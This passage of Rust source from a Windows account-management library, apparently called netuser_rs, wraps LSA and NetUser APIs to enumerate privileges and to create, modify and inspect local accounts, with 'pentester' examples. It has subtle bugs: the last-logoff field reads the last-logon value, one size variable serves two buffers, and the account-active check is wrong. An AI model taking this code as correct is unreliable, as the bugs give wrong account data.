privilege_wide_nul.as_ptr(), 128 | &mut privilege_luid, 129 | ) == 0 130 | { 131 | return Err(GetLastError()); 132 | } 133 | } 134 | 135 | Ok(privilege_luid) 136 | } 137 | 138 | /// Returns a privilege name by specified LUID. 139 | /// 140 | /// If failed - returns Windows error. 141 | /// 142 | /// # Examples 143 | /// 144 | /// ```no_run 145 | /// use netuser_rs::privs::{get_luid_by_priv_name, get_priv_name_by_luid}; 146 | /// 147 | /// fn main() { 148 | /// let privilege = "SeDebugPrivilege"; 149 | /// let privilege_luid = get_luid_by_priv_name(privilege).unwrap(); 150 | /// let privilege_again = get_priv_name_by_luid(privilege_luid).unwrap(); 151 | /// println!("Priv name: {}", privilege_again) 152 | ///} 153 | /// ``` 154 | #[allow(dead_code)] 155 | pub fn get_priv_name_by_luid(priv_luid: LUID) -> Result { 156 | let mut priv_name: Vec = vec![0; MAX_NAME as usize]; 157 | let mut priv_name_len = priv_name.len() as u32; 158 | 159 | unsafe { 160 | if LookupPrivilegeNameW( 161 | std::ptr::null_mut(), 162 | &priv_luid, 163 | priv_name.as_mut_ptr(), 164 | &mut priv_name_len, 165 | ) == 0 166 | { 167 | return Err(GetLastError()); 168 | } 169 | } 170 | 171 | Ok(String::from_utf16_lossy(&priv_name)) 172 | } 173 | 174 | /// Returns a list of user sids with the specified privilege (searching by account right will not work). 175 | /// 176 | /// If failed - returns Windows error. 177 | /// 178 | /// # Examples 179 | /// 180 | /// ```no_run 181 | /// use netuser_rs::privs::get_account_sids_by_privilege; 182 | /// use netuser_rs::win_err_text; 183 | /// 184 | /// fn main() { 185 | /// let privilege = "SeImpersonatePrivilege"; 186 | /// let sids = match get_account_sids_by_privilege(privilege) { 187 | /// Ok(sids) => sids, 188 | /// Err(err) => { 189 | /// log::error!("Error: {} - {}\n", err, win_err_text(err)); 190 | /// return; 191 | /// } 192 | /// }; 193 | /// 194 | /// for sid in sids { 195 | /// println!(" {}", sid); 196 | /// } 197 | ///} 198 | /// ``` 199 | pub fn get_account_sids_by_privilege(privilege: &str) -> Result, u32> { 200 | let mut user_sids = Vec::::new(); 201 | let usernames = get_users_by_privilege(privilege)?; 202 | for i in 0..usernames.len() { 203 | let mut user_sid = get_user_sid(&usernames[i])?; 204 | user_sids.push(sid_to_string_sid( 205 | user_sid.as_mut_ptr() as *mut std::ffi::c_void 206 | )?); 207 | } 208 | 209 | Ok(user_sids) 210 | } 211 | 212 | /// Returns a list of users with the specified privilege (searching by account right will not work). 213 | /// 214 | /// If failed - returns Windows error. 215 | /// 216 | /// # Examples 217 | /// 218 | /// ```no_run 219 | /// use netuser_rs::privs::get_users_by_privilege; 220 | /// use netuser_rs::win_err_text; 221 | /// 222 | /// fn main() { 223 | /// let privilege = "SeDebugPrivilege"; 224 | /// let accounts = match get_users_by_privilege(privilege) { 225 | /// Ok(accounts) => accounts, 226 | /// Err(err) => { 227 | /// log::error!("Error: {} - {}\n", err, win_err_text(err)); 228 | /// return; 229 | /// } 230 | /// }; 231 | /// 232 | /// for account in accounts { 233 | /// println!(" {}", account); 234 | /// } 235 | ///} 236 | /// ``` 237 | pub fn get_users_by_privilege(privilege: &str) -> Result, u32> { 238 | let lsa_policy_handle = get_lsa_policy_handle()?; 239 | let privilege_wide_nul = encode_string_to_wide(privilege); 240 | let mut privilege_unicode = unsafe { std::mem::zeroed::() }; 241 | let mut buffer: *mut std::ffi::c_void = std::ptr::null_mut(); 242 | let lsa_enum_infos = unsafe { 243 | RtlInitUnicodeString(&mut privilege_unicode, privilege_wide_nul.as_ptr()); 244 | 245 | let mut cound_returned: u32 = 0; 246 | let ntstatus = LsaEnumerateAccountsWithUserRight( 247 | lsa_policy_handle, 248 | &privilege_unicode, 249 | &mut buffer, 250 | &mut cound_returned, 251 | ); 252 | 253 | if ntstatus != STATUS_SUCCESS { 254 | return Err(LsaNtStatusToWinError(ntstatus)); 255 | } 256 | 257 | std::slice::from_raw_parts( 258 | buffer as *const LSA_ENUMERATION_INFORMATION, 259 | cound_returned as usize, 260 | ) 261 | }; 262 | 263 | let mut users = Vec::::new(); 264 | lsa_enum_infos.iter().for_each(|lsa_enum_info| { 265 | if let Ok(username) = get_user_by_sid(lsa_enum_info.Sid) { 266 | users.push(username); 267 | }; 268 | }); 269 | 270 | Ok(users) 271 | } 272 | 273 | /// Returns a list of privileges / rights of the specified user account. 274 | /// 275 | /// Pay attention - inherited from group privileges won't displayed. (Ex.: privs from Administrators) 276 | /// 277 | /// If failed - returns Windows error. 278 | /// 279 | /// # Examples 280 | /// 281 | /// ```no_run 282 | /// use netuser_rs::privs::get_user_privileges; 283 | /// use netuser_rs::win_err_text; 284 | /// 285 | /// fn main() { 286 | /// let username = "pentester"; 287 | /// let privileges = match get_user_privileges(username) { 288 | /// Ok(privileges) => privileges, 289 | /// Err(err) => { 290 | /// log::error!("Error: {} - {}\n", err, win_err_text(err)); 291 | /// return; 292 | /// } 293 | /// }; 294 | /// 295 | /// for privilege in privileges { 296 | /// println!(" {}", privilege); 297 | /// } 298 | ///} 299 | /// ``` 300 | pub fn get_user_privileges(username: &str) -> Result, u32> { 301 | let mut user_sid = get_user_sid(username)?; 302 | let lsa_policy_handle = get_lsa_policy_handle()?; 303 | 304 | let mut ptr_privileges_unicode = std::ptr::null_mut(); 305 | let mut privileges_count = 0; 306 | 307 | let privileges_unicode = unsafe { 308 | let ntstatus = LsaEnumerateAccountRights( 309 | lsa_policy_handle, 310 | user_sid.as_mut_ptr() as *mut std::ffi::c_void, 311 | &mut ptr_privileges_unicode, 312 | &mut privileges_count, 313 | ); 314 | 315 | /* 316 | If no account rights are found or if the function fails for any other reason, 317 | the function returns an NTSTATUS code such as FILE_NOT_FOUND (2 code). 318 | */ 319 | let win_err = LsaNtStatusToWinError(ntstatus); 320 | if win_err == 2 { 321 | return Ok(Vec::new()); 322 | } 323 | 324 | if ntstatus != STATUS_SUCCESS { 325 | return Err(win_err); 326 | } 327 | 328 | std::slice::from_raw_parts(ptr_privileges_unicode, privileges_count as usize) 329 | }; 330 | 331 | let mut privileges = Vec::::new(); 332 | 333 | privileges_unicode.iter().for_each(|privilege_unicode| { 334 | privileges.push(unsafe { crate::unicode_string_to_string(*privilege_unicode) }); 335 | }); 336 | 337 | return Ok(privileges); 338 | } 339 | 340 | /// Returns LSA Policy handle. 341 | /// 342 | /// If failed - returns Windows error. 343 | fn get_lsa_policy_handle() -> Result { 344 | let mut obj_attrs = unsafe { std::mem::zeroed::() }; 345 | let mut lsa_handle: LSA_HANDLE = 0; 346 | unsafe { 347 | let ntstatus = LsaOpenPolicy( 348 | std::ptr::null_mut(), 349 | &mut obj_attrs, 350 | POLICY_ALL_ACCESS, 351 | &mut lsa_handle, 352 | ); 353 | 354 | if ntstatus != STATUS_SUCCESS { 355 | return Err(LsaNtStatusToWinError(ntstatus)); 356 | } 357 | } 358 | 359 | Ok(lsa_handle) 360 | } 361 | -------------------------------------------------------------------------------- /src/users.rs: -------------------------------------------------------------------------------- 1 | use windows_sys::Win32::{ 2 | Foundation::GetLastError, 3 | NetworkManagement::NetManagement::{ 4 | NERR_Success, NetUserAdd, NetUserDel, NetUserEnum, NetUserGetInfo, NetUserSetInfo, 5 | FILTER_NORMAL_ACCOUNT, MAX_PREFERRED_LENGTH, UF_NORMAL_ACCOUNT, UF_SCRIPT, USER_INFO_0, 6 | USER_INFO_1, USER_PRIV_USER, USER_INFO_4, UF_ACCOUNTDISABLE, 7 | }, 8 | Security::{ 9 | Authorization::{ConvertSidToStringSidW, ConvertStringSidToSidW}, 10 | GetLengthSid, IsValidSid, LookupAccountNameW, LookupAccountSidW, 11 | }, 12 | }; 13 | 14 | use crate::{MAX_NAME, decode_wide_nul_to_string}; 15 | 16 | /// Create new local user account with provided password. 17 | /// 18 | /// If failed - returns Windows error. 19 | /// 20 | /// # Examples 21 | /// 22 | /// ```no_run 23 | /// use netuser_rs::users::add_user; 24 | /// use netuser_rs::win_err_text; 25 | /// 26 | /// fn main() { 27 | /// let username = "pentester"; 28 | /// let password = "P@ssw0rd123!!!"; 29 | /// let description = Some("Some account description".to_owned()); 30 | /// if let Err(err) = add_user(username, password, &description) { 31 | /// log::error!("Error: {} - {}\n", err, win_err_text(err)); 32 | /// return; 33 | /// } 34 | ///} 35 | /// ``` 36 | pub fn add_user(username: &str, password: &str, description: &Option) -> Result<(), u32> { 37 | let mut user_info = unsafe { std::mem::zeroed::() }; 38 | let mut wide_username_nul = crate::encode_string_to_wide(username.clone()); 39 | let mut wide_password_nul = crate::encode_string_to_wide(password); 40 | 41 | let mut wide_description_nul: Vec; 42 | if let Some(description) = description { 43 | wide_description_nul = crate::encode_string_to_wide(description); 44 | user_info.usri1_comment = wide_description_nul.as_mut_ptr(); 45 | } 46 | 47 | user_info.usri1_name = wide_username_nul.as_mut_ptr(); 48 | user_info.usri1_password = wide_password_nul.as_mut_ptr(); 49 | user_info.usri1_priv = USER_PRIV_USER; 50 | user_info.usri1_flags = UF_SCRIPT | UF_NORMAL_ACCOUNT; 51 | user_info.usri1_script_path = std::ptr::null_mut(); 52 | 53 | unsafe { 54 | let rc = NetUserAdd( 55 | std::ptr::null_mut(), 56 | 1, 57 | &user_info as *const _ as *const u8, 58 | std::ptr::null_mut(), 59 | ); 60 | if rc != NERR_Success { 61 | return Err(rc); 62 | } 63 | } 64 | 65 | Ok(()) 66 | } 67 | 68 | /// Get all user accounts existing in the system. 69 | /// 70 | /// If failed - returns Windows error. 71 | /// 72 | /// # Examples 73 | /// 74 | /// ```no_run 75 | /// use netuser_rs::users::get_users; 76 | /// use netuser_rs::win_err_text; 77 | /// 78 | /// fn main() { 79 | /// let usernames = match get_users() { 80 | /// Ok(usernames) => usernames, 81 | /// Err(err) => { 82 | /// log::error!("Error: {} - {}\n", err, win_err_text(err)); 83 | /// return; 84 | /// } 85 | /// }; 86 | /// 87 | /// for username in usernames { 88 | /// println!(" {}", username); 89 | /// } 90 | ///} 91 | /// ``` 92 | pub fn get_users() -> Result, u32> { 93 | let servername = std::ptr::null_mut(); 94 | let level = 0; // Return only account names 95 | let mut buf_ptr = std::ptr::null_mut::(); 96 | let mut entries_read = 0; 97 | let mut total_entries = 0; 98 | let mut resume_handle = 0; 99 | 100 | unsafe { 101 | let rc = NetUserEnum( 102 | servername, 103 | level, 104 | FILTER_NORMAL_ACCOUNT, 105 | &mut buf_ptr, 106 | MAX_PREFERRED_LENGTH, 107 | &mut entries_read, 108 | &mut total_entries, 109 | &mut resume_handle, 110 | ); 111 | if rc != NERR_Success { 112 | return Err(rc); 113 | } 114 | } 115 | 116 | let accounts_slice = unsafe { 117 | std::slice::from_raw_parts( 118 | buf_ptr as *const u8 as *const USER_INFO_0, 119 | entries_read as usize, 120 | ) 121 | }; 122 | 123 | let mut accounts = Vec::::with_capacity(entries_read as usize); 124 | for account in accounts_slice { 125 | accounts.push(crate::decode_wide_nul_to_string(account.usri0_name).unwrap()); 126 | } 127 | 128 | Ok(accounts) 129 | } 130 | 131 | /// Changes password for existing user account. 132 | /// 133 | /// If failed - returns Windows error. 134 | /// 135 | /// # Examples 136 | /// 137 | /// ```no_run 138 | /// use netuser_rs::users::change_user_password; 139 | /// use netuser_rs::win_err_text; 140 | /// 141 | /// fn main() { 142 | /// let username = "pentester"; 143 | /// let password = "New_!P@ssw0rd123!!!"; 144 | /// if let Err(err) = change_user_password(username, password) { 145 | /// log::error!("Error: {} - {}\n", err, win_err_text(err)); 146 | /// return; 147 | /// } 148 | ///} 149 | /// ``` 150 | pub fn change_user_password(username: &str, password: &str) -> Result<(), u32> { 151 | set_user_info_1(username, password, false, true, false) 152 | } 153 | 154 | /// Enable existing disabled user account. 155 | /// 156 | /// If failed - returns Windows error. 157 | /// 158 | /// # Examples 159 | /// 160 | /// ```no_run 161 | /// use netuser_rs::users::enable_user_account; 162 | /// use netuser_rs::win_err_text; 163 | /// 164 | /// fn main() { 165 | /// let username = "pentester"; 166 | /// if let Err(err) = enable_user_account(username) { 167 | /// log::error!("Error: {} - {}\n", err, win_err_text(err)); 168 | /// return; 169 | /// } 170 | ///} 171 | /// ``` 172 | pub fn enable_user_account(username: &str) -> Result<(), u32> { 173 | set_user_info_1(username, "", true, false, false) 174 | } 175 | 176 | /// Disable existing user account. 177 | /// 178 | /// If failed - returns Windows error. 179 | /// 180 | /// # Examples 181 | /// 182 | /// ```no_run 183 | /// use netuser_rs::users::disable_user_account; 184 | /// use netuser_rs::win_err_text; 185 | /// 186 | /// fn main() { 187 | /// let username = "pentester"; 188 | /// if let Err(err) = disable_user_account(username) { 189 | /// log::error!("Error: {} - {}\n", err, win_err_text(err)); 190 | /// return; 191 | /// } 192 | ///} 193 | /// ``` 194 | pub fn disable_user_account(username: &str) -> Result<(), u32> { 195 | set_user_info_1(username, "", false, false, true) 196 | } 197 | 198 | /// NetUserSetInfo wrapper. It's used to change the password and enable/disable the user account 199 | /// 200 | /// If failed - returns Windows error. 201 | fn set_user_info_1(username: &str, password: &str, enable: bool, change_pass: bool, disable: bool) -> Result<(), u32> { 202 | let wide_username_nul = crate::encode_string_to_wide(username); 203 | let mut wide_password_nul = crate::encode_string_to_wide(password); 204 | let mut new_user_info_buf = std::ptr::null_mut::(); 205 | unsafe { 206 | let rc = NetUserGetInfo( 207 | std::ptr::null_mut(), 208 | wide_username_nul.as_ptr(), 209 | 1, 210 | &mut new_user_info_buf, 211 | ); 212 | if rc != NERR_Success { 213 | return Err(rc); 214 | } 215 | } 216 | 217 | let new_user_info = new_user_info_buf as *mut USER_INFO_1; 218 | unsafe { 219 | if change_pass { 220 | (*new_user_info).usri1_password = wide_password_nul.as_mut_ptr(); 221 | } 222 | if enable { 223 | (*new_user_info).usri1_flags = 0; 224 | } 225 | if disable { 226 | (*new_user_info).usri1_flags = UF_ACCOUNTDISABLE; 227 | } 228 | } 229 | 230 | unsafe { 231 | let rc = NetUserSetInfo( 232 | std::ptr::null_mut(), 233 | wide_username_nul.as_ptr(), 234 | 1, 235 | new_user_info_buf, 236 | std::ptr::null_mut(), 237 | ); 238 | if rc != NERR_Success { 239 | return Err(rc); 240 | } 241 | } 242 | 243 | Ok(()) 244 | } 245 | 246 | /// Delete local user account. 247 | /// 248 | /// If failed - returns Windows error. 249 | /// 250 | /// # Examples 251 | /// 252 | /// ```no_run 253 | /// use netuser_rs::users::delete_user; 254 | /// use netuser_rs::win_err_text; 255 | /// 256 | /// fn main() { 257 | /// let username = "pentester"; 258 | /// if let Err(err) = delete_user(username) { 259 | /// log::error!("Error: {} - {}\n", err, win_err_text(err)); 260 | /// return; 261 | /// } 262 | ///} 263 | /// ``` 264 | pub fn delete_user(username: &str) -> Result<(), u32> { 265 | let mut wide_username_nul = crate::encode_string_to_wide(username.clone()); 266 | unsafe { 267 | let rc = NetUserDel(std::ptr::null_mut(), wide_username_nul.as_mut_ptr()); 268 | if rc != NERR_Success { 269 | return Err(rc); 270 | } 271 | } 272 | 273 | Ok(()) 274 | } 275 | 276 | /// Get detailed user account information (USER_INFO_4 struct). 277 | /// 278 | /// If failed - returns Windows error. 279 | /// 280 | /// # Examples 281 | /// 282 | /// ```no_run 283 | /// use netuser_rs::users::get_user_detailed; 284 | /// use netuser_rs::win_err_text; 285 | /// 286 | /// fn main() { 287 | /// let username = "pentester"; 288 | /// let account = match get_user_detailed(username) { 289 | /// Ok(account) => account, 290 | /// Err(err) => { 291 | /// log::error!("Error: {} - {}\n", err, win_err_text(err)); 292 | /// return; 293 | /// } 294 | /// }; 295 | ///} 296 | /// ``` 297 | pub fn get_user_detailed(username: &str) -> Result { 298 | let wide_username_nul = crate::encode_string_to_wide(username.clone()); 299 | let mut user_info_buf = std::ptr::null_mut::(); 300 | 301 | unsafe { 302 | let rc = NetUserGetInfo( 303 | std::ptr::null_mut(), 304 | wide_username_nul.as_ptr(), 305 | 4, // USER_INFO_4 306 | &mut user_info_buf, 307 | ); 308 | if rc != NERR_Success { 309 | return Err(rc); 310 | } 311 | } 312 | 313 | let account = user_info_buf as *mut USER_INFO_4; 314 | 315 | Ok( 316 | unsafe { *account } 317 | ) 318 | } 319 | 320 | /// Print detailed information about specified user account. 321 | /// 322 | /// If failed - returns Windows error. 323 | /// 324 | /// # Examples 325 | /// 326 | /// ```no_run 327 | /// use netuser_rs::users::print_user_detailed; 328 | /// use netuser_rs::win_err_text; 329 | /// 330 | /// fn main() { 331 | /// let username = "pentester"; 332 | /// if let Err(err) = print_user_detailed(username) { 333 | /// log::error!("Error: {} - {}\n", err, win_err_text(err)); 334 | /// return; 335 | /// } 336 | ///} 337 | /// ``` 338 | pub fn print_user_detailed(username: &str) -> Result<(), u32> { 339 | let account = get_user_detailed(username)?; 340 | let groups = crate::groups::get_user_groups(username)?; 341 | let account_expired = 342 | if account.usri4_acct_expires == 0xFFFFFFFF { 343 | "Never".to_owned() 344 | } else { 345 | crate::timestamp_to_datetime(account.usri4_acct_expires as i64) 346 | }; 347 | 348 | let password_last_set = crate::timestamp_to_datetime( 349 | crate::get_current_timestamp() - account.usri4_password_age as i64 350 | ); 351 | 352 | let last_logon = if account.usri4_last_logon == 0 { 353 | "Never".to_owned() 354 | } else { 355 | crate::timestamp_to_datetime(account.usri4_last_logon as i64) 356 | }; 357 | 358 | let last_logoff = if account.usri4_last_logoff == 0 { 359 | "Never".to_owned() 360 | } else { 361 | crate::timestamp_to_datetime(account.usri4_last_logon as i64) 362 | }; 363 | 364 | println!( 365 | "User name {}\n\ 366 | Full name {}\n\ 367 | User SID {}\n\ 368 | Comment {}\n\ 369 | User's comment {}\n\ 370 | Flags {}\n\ 371 | Auth flags {}\n\ 372 | Country/region code {}\n\n\ 373 | Account active {}\n\ 374 | Account expires {}\n\ 375 | Password expires {}\n\ 376 | Password last set {}\n\n\ 377 | Workstations allowed {}\n\ 378 | Logon script {}\n\ 379 | User profile {}\n\ 380 | Home directory {}\n\ 381 | Home directory drive {}\n\ 382 | Last logon {}\n\ 383 | Last logoff {}\n\n\ 384 | Local group memberships {:?}\n\ 385 | Global group memberships {:?}\n", 386 | decode_wide_nul_to_string(account.usri4_name).unwrap(), 387 | decode_wide_nul_to_string(account.usri4_full_name).unwrap(), 388 | sid_to_string_sid(account.usri4_user_sid).unwrap(), 389 | decode_wide_nul_to_string(account.usri4_comment).unwrap(), 390 | decode_wide_nul_to_string(account.usri4_usr_comment).unwrap(), 391 | account.usri4_flags, 392 | account.usri4_auth_flags, 393 | account.usri4_country_code, 394 | account.usri4_flags != UF_ACCOUNTDISABLE, 395 | account_expired, 396 | if account.usri4_password_expired == 0 { "Never" } else { "Password has expired" }, 397 | password_last_set, 398 | decode_wide_nul_to_string(account.usri4_workstations).unwrap(), 399 | decode_wide_nul_to_string(account.usri4_script_path).unwrap(), 400 | decode_wide_nul_to_string(account.usri4_profile).unwrap(), 401 | decode_wide_nul_to_string(account.usri4_home_dir).unwrap(), 402 | decode_wide_nul_to_string(account.usri4_home_dir_drive).unwrap(), 403 | last_logon, 404 | last_logoff, 405 | groups.0, 406 | groups.1, 407 | ); 408 | 409 | Ok(()) 410 | } 411 | 412 | /// Get user account SID in binary format. 413 | /// 414 | /// If failed - returns Windows error. 415 | /// 416 | /// # Examples 417 | /// 418 | /// ```no_run 419 | /// use netuser_rs::users::{ 420 | /// get_user_sid, 421 | /// sid_to_string_sid, 422 | /// }; 423 | /// use netuser_rs::win_err_text; 424 | /// 425 | /// fn main() { 426 | /// let username = "pentester"; 427 | /// let mut sid = match get_user_sid(username) { 428 | /// Ok(sid) => sid, 429 | /// Err(err) => { 430 | /// log::error!("Error: {} - {}\n", err, win_err_text(err)); 431 | /// return; 432 | /// } 433 | /// }; 434 | /// 435 | /// let ptr_sid = sid.as_mut_ptr() as *mut std::ffi::c_void; 436 | /// let sid_string = sid_to_string_sid(ptr_sid).unwrap(); 437 | /// println!("SID: {}", sid_string); 438 | ///} 439 | /// ``` 440 | pub fn get_user_sid(username: &str) -> Result, u32> { 441 | let mut pe_use: i32 = 0; 442 | let mut sid_len: u32 = MAX_NAME; 443 | let mut domain_len: u32 = MAX_NAME; 444 | let mut domain_buf: Vec = vec![0; MAX_NAME as usize]; 445 | let mut sid_buf: Vec = vec![0; MAX_NAME as usize]; 446 | let wide_username_nul = crate::encode_string_to_wide(username); 447 | let sid = sid_buf.as_mut_ptr() as *mut core::ffi::c_void; 448 | unsafe { 449 | if LookupAccountNameW( 450 | core::ptr::null_mut(), // local server 451 | wide_username_nul.as_ptr(), // account name 452 | sid, // sid 453 | &mut sid_len, // sid size 454 | domain_buf.as_mut_ptr(), // domain 455 | &mut domain_len, // domain size 456 | &mut pe_use, 457 | ) == 0 458 | { 459 | return Err(GetLastError()); 460 | } 461 | } 462 | 463 | Ok(sid_buf) 464 | } 465 | 466 | /// Checks if provided SID is valid or not 467 | /// 468 | /// # Examples 469 | /// 470 | /// ```no_run 471 | /// use netuser_rs::users::{ 472 | /// get_user_sid, 473 | /// is_valid_sid 474 | /// }; 475 | /// use netuser_rs::win_err_text; 476 | /// 477 | /// fn main() { 478 | /// let username = "pentester"; 479 | /// let mut sid = match get_user_sid(username) { 480 | /// Ok(sid) => sid, 481 | /// Err(err) => { 482 | /// log::error!("Error: {} - {}\n", err, win_err_text(err)); 483 | /// return; 484 | /// } 485 | /// }; 486 | /// 487 | /// let ptr_sid = sid.as_mut_ptr() as *mut std::ffi::c_void; 488 | /// println!("SID valid: {}", is_valid_sid(ptr_sid)); 489 | ///} 490 | /// ``` 491 | pub fn is_valid_sid(sid: *mut std::ffi::c_void) -> bool { 492 | unsafe { 493 | if IsValidSid(sid) == 0 { 494 | return false; 495 | } 496 | } 497 | 498 | true 499 | } 500 | 501 | /// Converts a string-format SID into a valid, functional SID. 502 | /// 503 | /// If failed - returns Windows error. 504 | /// 505 | /// # Examples 506 | /// 507 | /// ```no_run 508 | /// use netuser_rs::users::{ 509 | /// get_user_sid, 510 | /// sid_to_string_sid, 511 | /// string_sid_to_sid 512 | /// }; 513 | /// use netuser_rs::win_err_text; 514 | /// 515 | /// fn main() { 516 | /// let username = "pentester"; 517 | /// let mut sid = match get_user_sid(username) { 518 | /// Ok(sid) => sid, 519 | /// Err(err) => { 520 | /// log::error!("Error: {} - {}\n", err, win_err_text(err)); 521 | /// return; 522 | /// } 523 | /// }; 524 | /// 525 | /// let ptr_sid = sid.as_mut_ptr() as *mut std::ffi::c_void; 526 | /// let sid_string = sid_to_string_sid(ptr_sid).unwrap(); 527 | /// let sid_from_sid_string = string_sid_to_sid(sid_string).unwrap(); 528 | /// println!("Raw SID: {:?}", sid_from_sid_string); 529 | ///} 530 | /// ``` 531 | pub fn string_sid_to_sid(string_sid: String) -> Result, u32> { 532 | let sid_wide_string = crate::encode_string_to_wide(&string_sid); 533 | let mut sid = std::ptr::null_mut(); 534 | 535 | let sid_buf = unsafe { 536 | if ConvertStringSidToSidW( 537 | sid_wide_string.as_ptr(), 538 | &mut sid as *mut *mut std::ffi::c_void, 539 | ) == 0 540 | { 541 | return Err(GetLastError()); 542 | } 543 | 544 | std::slice::from_raw_parts(sid as *mut u8, MAX_NAME as usize) 545 | }; 546 | 547 | Ok(sid_buf.to_vec()) 548 | } 549 | 550 | /// Converts SID into a string-format SID. 551 | /// 552 | /// If failed - returns Windows error. 553 | /// 554 | /// # Examples 555 | /// 556 | /// ```no_run 557 | /// use netuser_rs::users::{ 558 | /// get_user_sid, 559 | /// sid_to_string_sid, 560 | /// }; 561 | /// use netuser_rs::win_err_text; 562 | /// 563 | /// fn main() { 564 | /// let username = "pentester"; 565 | /// let mut sid = match get_user_sid(username) { 566 | /// Ok(sid) => sid, 567 | /// Err(err) => { 568 | /// log::error!("Error: {} - {}\n", err, win_err_text(err)); 569 | /// return; 570 | /// } 571 | /// }; 572 | /// 573 | /// let ptr_sid = sid.as_mut_ptr() as *mut std::ffi::c_void; 574 | /// let sid_string = sid_to_string_sid(ptr_sid).unwrap(); 575 | /// println!("String SID: {}", sid_string); 576 | ///} 577 | /// ``` 578 | pub fn sid_to_string_sid(sid: *mut std::ffi::c_void) -> Result { 579 | unsafe { 580 | if !is_valid_sid(sid) { 581 | return Err(GetLastError()); 582 | } 583 | 584 | let mut string_sid = std::ptr::null_mut(); 585 | if ConvertSidToStringSidW(sid, &mut string_sid) == 0 { 586 | return Err(GetLastError()); 587 | } 588 | 589 | Ok(crate::decode_wide_nul_to_string(string_sid).unwrap()) 590 | } 591 | } 592 | 593 | /// Returns of length of valid SID. 594 | /// 595 | /// If failed - returns Windows error. 596 | /// 597 | /// # Examples 598 | /// 599 | /// ```no_run 600 | /// use netuser_rs::users::{ 601 | /// get_user_sid, 602 | /// get_sid_length 603 | /// }; 604 | /// use netuser_rs::win_err_text; 605 | /// 606 | /// fn main() { 607 | /// let username = "pentester"; 608 | /// let mut sid = match get_user_sid(username) { 609 | /// Ok(sid) => sid, 610 | /// Err(err) => { 611 | /// log::error!("Error: {} - {}\n", err, win_err_text(err)); 612 | /// return; 613 | /// } 614 | /// }; 615 | /// 616 | /// let ptr_sid = sid.as_mut_ptr() as *mut std::ffi::c_void; 617 | /// let sid_len = get_sid_length(&mut sid).unwrap(); 618 | /// println!("SID length: {}", sid_len); 619 | ///} 620 | /// ``` 621 | pub fn get_sid_length(sid: &mut Vec) -> Result { 622 | let ptr_sid = sid.as_mut_ptr() as *mut std::ffi::c_void; 623 | if !is_valid_sid(ptr_sid) { 624 | return Err(unsafe { GetLastError() }); 625 | } 626 | 627 | Ok(unsafe { GetLengthSid(ptr_sid) }) 628 | } 629 | 630 | /// Get user account by specified SID. 631 | /// 632 | /// If failed - returns Windows error. 633 | /// 634 | /// # Examples 635 | /// 636 | /// ```no_run 637 | /// use netuser_rs::users::{ 638 | /// get_user_sid, 639 | /// get_user_by_sid 640 | /// }; 641 | /// use netuser_rs::win_err_text; 642 | /// 643 | /// fn main() { 644 | /// let username = "pentester"; 645 | /// let mut sid = match get_user_sid(username) { 646 | /// Ok(sid) => sid, 647 | /// Err(err) => { 648 | /// log::error!("Error: {} - {}\n", err, win_err_text(err)); 649 | /// return; 650 | /// } 651 | /// }; 652 | /// 653 | /// let ptr_sid = sid.as_mut_ptr() as *mut std::ffi::c_void; 654 | /// let username_from_sid = get_user_by_sid(ptr_sid).unwrap(); 655 | /// println!("Username resolved from SID: {}", username_from_sid); 656 | ///} 657 | /// ``` 658 | pub fn get_user_by_sid(sid: *mut std::ffi::c_void) -> Result { 659 | let mut pe_use: i32 = 0; 660 | let mut domain_buf: [u16; MAX_NAME as usize] = [0; MAX_NAME as usize]; 661 | let mut username: [u16; MAX_NAME as usize] = [0; MAX_NAME as usize]; 662 | let mut dw_size = MAX_NAME; 663 | 664 | unsafe { 665 | if LookupAccountSidW( 666 | std::ptr::null_mut(), // local server 667 | sid, // account name 668 | username.as_mut_ptr(), // sid 669 | &mut dw_size, // sid size 670 | domain_buf.as_mut_ptr(), // domain 671 | &mut dw_size, // domain size 672 | &mut pe_use, 673 | ) == 0 674 | { 675 | return Err(GetLastError()); 676 | } 677 | } 678 | 679 | Ok(String::from_utf16_lossy(&username)) 680 | } 681 | --------------------------------------------------------------------------------